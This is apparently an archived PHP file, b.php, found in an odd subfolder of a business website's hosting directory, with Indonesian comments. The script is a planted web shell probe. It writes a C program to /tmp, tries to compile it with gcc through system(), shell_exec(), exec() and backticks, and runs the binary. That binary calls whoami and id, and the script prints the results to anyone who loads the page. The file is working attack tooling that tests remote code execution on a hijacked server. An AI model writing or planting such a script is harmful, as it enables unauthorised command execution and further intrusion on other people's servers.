/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/b.php.tar
home/fresvfqn/24hourwaterdamagerestorationlongisland.com/bajk/b.php 0000644 00000005753 15101672063 0021651 0 ustar 00 <?php
// compiler.php - PHP Direct Compilation Method
echo "<pre>";
echo "=== PHP DIRECT COMPILATION TEST ===\n\n";
// Step 1: Tulis code C ke file
$c_code = '#include <stdio.h>
#include <stdlib.h>
int main() {
printf("=== COMPILATION SUCCESS ===\\n");
printf("Server: %s\\n", getenv("HOSTNAME"));
printf("User: %s\\n", getenv("USER"));
printf("Time: %s\\n", __TIME__);
// Test system command execution
system("whoami > /tmp/whoami_result.txt");
system("id > /tmp/id_result.txt");
printf("Check files: /tmp/whoami_result.txt and /tmp/id_result.txt\\n");
return 0;
}';
$c_file = '/tmp/test_program.c';
file_put_contents($c_file, $c_code);
echo "1. ✅ C file created: $c_file\n";
// Step 2: Cek jika file berhasil dibuat
if(file_exists($c_file)) {
echo "2. ✅ File exists, size: " . filesize($c_file) . " bytes\n";
} else {
echo "2. ❌ File creation failed\n";
exit;
}
// Step 3: Compile dengan berbagai method PHP
echo "\n3. 🔧 Trying compilation methods:\n";
// Method A: system()
echo " Method A (system): ";
system("gcc $c_file -o /tmp/test_program 2>&1", $system_return);
echo "Return code: $system_return\n";
// Method B: shell_exec()
echo " Method B (shell_exec): ";
$shell_result = shell_exec("gcc $c_file -o /tmp/test_program 2>&1");
echo $shell_result ? "Has output\n" : "No output\n";
// Method C: exec()
echo " Method C (exec): ";
exec("gcc $c_file -o /tmp/test_program 2>&1", $exec_output, $exec_return);
echo "Return code: $exec_return, Output lines: " . count($exec_output) . "\n";
// Method D: Backticks
echo " Method D (backticks): ";
$backtick_result = `gcc $c_file -o /tmp/test_program 2>&1`;
echo $backtick_result ? "Has output\n" : "No output\n";
// Step 4: Cek jika binary berhasil dibuat
$binary_path = '/tmp/test_program';
echo "\n4. 🔍 Checking compilation result:\n";
if(file_exists($binary_path)) {
echo " ✅ BINARY CREATED: $binary_path\n";
echo " File size: " . filesize($binary_path) . " bytes\n";
echo " Permissions: " . substr(sprintf('%o', fileperms($binary_path)), -4) . "\n";
// Step 5: Execute binary
echo "\n5. 🚀 Executing compiled program:\n";
system("$binary_path 2>&1", $exec_return);
echo " Execution return code: $exec_return\n";
// Step 6: Cek output files
echo "\n6. 📁 Checking result files:\n";
$result_files = ['/tmp/whoami_result.txt', '/tmp/id_result.txt'];
foreach($result_files as $file) {
if(file_exists($file)) {
echo " ✅ $file: " . file_get_contents($file);
} else {
echo " ❌ $file: Not found\n";
}
}
} else {
echo " ❌ BINARY NOT CREATED - Compilation failed\n";
echo " Debug info:\n";
// Cek error yang lebih detail
echo " - C file content check:\n";
echo " " . file_get_contents($c_file) . "\n";
echo " - Directory listing /tmp/:\n";
system("ls -la /tmp/ | grep test_ 2>&1");
}
echo "\n=== END OF TEST ===\n";
echo "</pre>";
?>